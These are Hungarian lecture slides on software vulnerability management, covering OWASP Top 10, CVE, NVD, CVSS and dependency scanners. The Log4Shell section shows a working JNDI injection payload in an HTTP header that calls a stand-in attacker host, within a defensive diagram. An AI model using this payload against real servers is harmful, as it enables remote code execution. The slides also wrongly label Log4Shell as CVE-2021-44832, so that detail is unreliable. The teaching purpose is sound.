

Szoftver sebezhetőségek

Jeszenszky Péter

2022.02.24.

Statisztikák a nyílt forrású szoftverkomponensekről (1)

Egy továbbra is érvényes megfigyelés:

*Napjainak alkalmazásaiban a kód 80%-a könyvtárakból és kere-
tendszerekből származik.*

- Forrás: Jeff Williams, Arshan Dabirsiaghi. *The Unfortunate Reality of Insecure Libraries*. Contrast Security, 2014.

Statisztikák a nyílt forrású szoftverkomponensekről (2)

Egy friss megerősítés:

“Becslések szerint szabad és nyílt forrású szoftverek alkotják bármely modern szoftveres megoldás 70-90%-át.”

- Lásd: Jason Perlow. *A Summary of Census II: Open Source Software Application Libraries the World Depends On*. March 7, 2022.
<https://www.linuxfoundation.org/blog/blog/a-summary-of-census-ii-open-source-software-application-libraries-the-world-depends-on>

Jelenlegi kutatás:

- Synopsys: 2023 Open Source Security and Risk Analysis Report

A Nyílt Webalkalmazás Biztonsági Projekt (*Open Web Application Security Project*, OWASP) egy, a szoftverek biztonságának javításáért munkálkodó nonprofit alapítvány. Többek között karbantartja az OWASP 10-es listát.

- Webhely: <https://owasp.org/>

OWASP Top 10 (1)

Az *OWASP Top 10* egy szabványos figyelemfelhívó dokumentum fejlesztők számára a webalkalmazások biztonságáról. Széleskörű konszenzust képvisel a webalkalmazások legkritikusabb biztonsági kockázatairól.

- Webhely: <https://owasp.org/www-project-top-ten/>
- Tároló: <https://github.com/OWASP/Top10>

OWASP Top 10 (2)

2021-es 10-es lista: <https://owasp.org/Top10/>

- A lefolytatott kutatás szerint a sebezhető és elavult komponensek jelentik a hatodik legnagyobb biztonsági kockázatot a webalkalmazások számára 2021-ben.
- Lásd: [A06:2021-Vulnerable and Outdated Components](#)

Sebezhetőség

Egy tökéletlenségből származó hiba egy szoftverben, *firmware*-ben, hardverben vagy szolgáltatás komponensben, mely kiaknázható az érintett komponens vagy komponensek titkosságára, integritására vagy rendelkezésre állására negatív hatást gyakoroló módon.

- Forrás: *CVE Glossary* <https://www.cve.org/ResourcesSupport/Glossary>

Sebezhetőségi adatbázis

Egy sebezhetőségi adatbázis egy speciális adatbázis számítógépes rendszerekben talált sebezhetőségekre vonatkozó információk gyűjtéséhez és kezeléséhez.

Sebezhetőségi adatbázisok

Szabad:

- GitHub Advisory Database <https://github.com/advisories>
- National Vulnerability Database <https://nvd.nist.gov/>
- OSV <https://osv.dev/>
- ...

Nem szabad:

- Debricked Vulnerability Database
<https://debricked.com/vulnerability-database>
- Mend Vulnerability Database
<https://www.mend.io/vulnerability-database/>
- Snyk Vulnerability Database <https://security.snyk.io/vuln>
- VulDB <https://vuldb.com/>
- ...

Definíció (Foreman):

- A szoftver sebezhetőségek azonosításának, osztályozásának, rangsorolásának, kijavításának és enyhítésének ciklikus gyakorlata.

Sebezhetőség kereső

- Egy sebezhetőség kereső (*vulnerability scanner*) egy olyan szoftvereszköz, melynek célja, hogy sebezhetőségeket keressen számítógépes rendszerekben, mint például szoftverek, egy számítógép vagy hálózat.
- Szoftverek:
 - *Vulnerability Scanning Tools*
https://owasp.org/www-community/Vulnerability_Scanning_Tools
 - *Source Code Analysis Tools*
https://owasp.org/www-community/Source_Code_Analysis_Tools
- Kapcsolódó fogalom: szoftver összetétel elemzés

Szoftver összetétel elemzés

A szoftver összetétel elemzés (*Software Composition Analysis*, SCA) a **nyílt forrású** szoftverkomponensek problémáival foglalkozik, mint például a licencek és sebezhetőségek.

SCA eszközök automatizálják a nyílt forrású komponensek és kockázataik azonosításának folyamatát.

CVE (1)

- A Gyakori Sebezhetőségek és Kitétségek (*Common Vulnerabilities and Exposures*, CVE) program küldetése a nyilvánosságra hozott kiberbiztonsági sebezhetőségek azonosítása, meghatározása és katalogizálása. A katalógusban minden egyes sebezhetőséghez egy CVE rekord van. A sebezhetőségeket a CVE Programmal együttműködő szervezetek fedezik fel és publikálják.
 - Lásd: <https://www.cve.org/About/Overview>
- Egy nemzetközi kiberbiztonsági közösségi munka, melyet az Egyesült Államok Belbiztonsági Minisztériuma szponzorál.
- Webhely: <https://www.cve.org/> <https://cve.mitre.org/> (régi)
- Licenc: szabad nyilvános használatra

CVE (2)

- A CVE nem egy sebezhetőségi adatbázis.
- Egységes azonosítók egy listája közismert kiberbiztonsági sebezhetőségekhez.
- Lehetővé teszi az információ technológiai és kiberbiztonsági szakértők számára, hogy ugyanarra a problémára hivatkozzanak.
- Tehát inkább egy szótár, mint adatbázis.

CVE (3)

Fogalomtár: <https://www.cve.org/ResourcesSupport/Glossary>

- **CVE azonosító (CVE ID):** A CVE Program által kiosztott egyedi alfanumerikus azonosító. Minden egyes azonosító egy bizonyos sebezhetőségre hivatkozik.
- **CVE rekord:** Egy CVE azonosítóhoz tartozó sebezhetőséget leíró adatok. Ezek az adatok ember és gép által olvasható formátumban állnak rendelkezésre (HTML, JSON).
- **CVE lista:** A CVE Program által azonosított vagy számára bejelentett CVE rekordok katalógusa.

CVE (4)

CVE rekord formátum: CVE JSON 5.0 (egy JSON séma definiálja)

- Séma: https://github.com/CVEProject/cve-schema/blob/master/schema/v5.0/CVE_JSON_5.0_schema.json
- Lásd még: [Changes Coming to CVE Record Format JSON and CVE List Content Downloads](#)

CVE (5)

Példa CVE rekord: CVE-2021-44832

<https://www.cve.org/CVERecord?id=CVE-2021-44832>

- Érintett termék: a 2.0-beta7 és 2.17.0 közötti számú Log4j verziók (kivéve a javító hibát 2.3.2 és 2.12.4 verziókat)
- CVE JSON 5.0: <https://cveawg.mitre.org/api/cve/CVE-2021-44832>
- Lásd:
 - <https://logging.apache.org/log4j/2.x/>
 - <https://en.wikipedia.org/wiki/Log4Shell>

Log4Shell (CVE-2021-44832) (1)

- Chen Zhaojun (Alibaba Group) fedezte fel és jelentette az *Apache Software Foundation* felé 2021. november 24-én.
- A sebezhetőség 2013 óta volt jelen a kódban.
- Egy kutatás szerint a sebezhetőség a vállalati felhő környezetek 93%-át érintette (például Amazon Web Services, iCloud, Twitter).
 - Lásd: [Log4Shell 10 days later: Enterprises halfway through patching](#)

Log4Shell (CVE-2021-44832) (2)

The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a header field that is likely to be logged.

```
GET /test HTTP/1.1
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}
```



⛔ BLOCK WITH WAF

Attacker



1

Vulnerable Server
http://victim.xa



The string is passed to log4j for logging

`"${jndi:ldap://evil.xa/x}"`

⛔ DISABLE LOG4J

⛔ PATCH LOG4J
Vulnerable log4j
implementation



log4j interpolates the string and queries the malicious LDAP server.

`ldap://evil.xa/x`

⛔ DISABLE JNDI LOOKUPS

Malicious LDAP Server
ldap://evil.xa



```
dn:
javaClassName: Malicious
javaCodebase: http://evil.xa
javaSerializedData: <...>
```

The LDAP server responds with directory information that contains the malicious Java class

⛔ DISABLE
REMOTE
CODEBASES

```
public class Malicious implements Serializable {
    ...
    static {
        <malicious Java code>
    }
    ...
}
```

JAVA deserializes (or downloads) the malicious Java class and executes it.

© ⓘ ⓘ GovCERT.ch

Figure 1: Forrás: [Zero-Day Exploit Targeting Popular Java Library Log4j](#)

NVD (1)

- A Nemzeti Sebezhetőségi Adatbázis (*National Vulnerability Database*, NVD) a NIST által karbantartott, a CVE listára épülő és azzal teljesen szinkronizált sebezhetőségi adatbázis.
- A CVE-hez hasonlóan az NVD-t is az Egyesült Államok Belbiztonsági Minisztériuma szponzorálja.
- Webhely: <https://nvd.nist.gov/>
- Licenc: az NVD adatok közkincsek.

NVD (2)

CVE és NVD kapcsolat: [CVE FAQs: What is the relationship between CVE and the NVD \(U.S. National Vulnerability Database\)?](#)

- Az NVD a CVE rekordokat olyan információkkal egészíti ki, mint például a hibajavítási információk vagy súlyossági pontszámok.
- Fejlett keresési lehetőségeket is biztosít, mint például a keresés operációs rendszer szerint vagy a sebezhetőség típus alapján.

NVD (3)

- Az NVD adatok egy web API-n keresztül érhetők el.
 - See: <https://nvd.nist.gov/developers>
- Példa: CVE-2021-44832
 - <https://nvd.nist.gov/vuln/detail/CVE-2021-44832>
 - <https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2021-44832>

NVD (4)

- Az NVD a **Common Vulnerability Scoring System (CVSS)** (Egységes Sebezhetőség Pontozási Rendszer) segítségével rendel egy súlyossági pontszámot minden egyes sebezhetőséghez.
 - A súlyossági pontszámok 0 és 10 közöttiek.
- Lásd: <https://nvd.nist.gov/vuln-metrics>

Dependency-Check (1)

Egy szoftver összetétel elemző eszköz, mely megkísérli érzékelni egy projekt függőségeiben lévő nyilvánosan közzétett sebezhetőségeket.

- Programozási nyelv: Java
- Licenc: *Apache License 2.0*
- Webhely: <https://owasp.org/www-project-dependency-check/>
<https://jeremylong.github.io/DependencyCheck/>
- Tároló: <https://github.com/jeremylong/DependencyCheck>

A Nemzeti Sebezhetőségi Adatbázist (NVD) használja.

Dependency-Check (2)

- Használat:
 - Parancssori interfész (CLI)
 - Apache Ant task
 - Apache Maven bővítmény
 - Gradle bővítmény
 - Jenkins bővítmény
 - sbt bővítmény
- A program az első futtatáskor a teljes adatbázist letölti a NIST-től. A későbbiekben a lokális adatbázis automatikusan frissítésre kerül az NVD Data Feed-ek segítségével.
- Működés: [How does dependency-check work?](#)

Dependency-Check (3)

Támogatott nyelvek és platformok:

- Java
- .NET
- Node.js
- Python (kísérleti)
- ...

Dependabot (1)

A Dependabot egy GitHub szolgáltatás függőségek naprakészen tartásához és sebezhető függőségek érzékeléséhez.

- Tárolók: <https://github.com/dependabot>
- Dokumentáció: [Code security](#)
 - Lásd: [About Dependabot alerts](#)

Dependabot (2)

Támogatott csomagkezelők és nyelvek:

- Apache Maven (Java, Scala)
- npm/Yarn (JavaScript)
- Composer (PHP)
- Poetry/pip (Python)
- NuGet (.NET)
- ...

Lásd: [Supported package ecosystems](#)

Hasonló eszközök és szolgáltatások (1)

Szabad:

- OSV-Scanner (programozási nyelv: Go; licenc: *Apache License 2.0*)
<https://github.com/google/osv-scanner>
- Retire.js (programozási nyelv: JavaScript; licenc: *Apache License 2.0*)
<http://retirejs.github.io/retire.js/>
<https://github.com/RetireJS/retire.js>
- Trivy (programozási nyelv: Go; licenc: *Apache License 2.0*)
<https://trivy.dev/> <https://github.com/aquasecurity/trivy>
- Vuls (programozási nyelv: Go; licenc: GPLv3) <https://vuls.io/>
<https://github.com/future-architect/vuls>

Hasonló eszközök és szolgáltatások (2)

Nem szabad:

- Black Duck Software Composition Analysis
<https://www.synopsys.com/software-integrity/security-testing/software-composition-analysis.html>
- Snyk <https://snyk.io/>
- Mend <https://www.mend.io/>

További ajánlott irodalom

- Andrew Magnusson. *Practical Vulnerability Management*. No Starch Press, 2020. <https://nostarch.com/PracticalVulnerability>
- Park Foreman. *Vulnerability Management*. 2nd ed. Auerbach Publications, 2019.
- Ian Sommerville. *Software Engineering*. 10th ed. Pearson, 2015. <https://software-engineering-book.com/>
 - Chapter 13: Security Engineering (p. 373–407)
- Jeff Williams, Arshan Dabirsiaghi. *The Unfortunate Reality of Insecure Libraries*. Contrast Security, 2014. https://www.contrastsecurity.com/hs-fs/hub/203759/file-1100864196-pdf/docs/Contrast_-_Insecure_Libraries_2014.pdf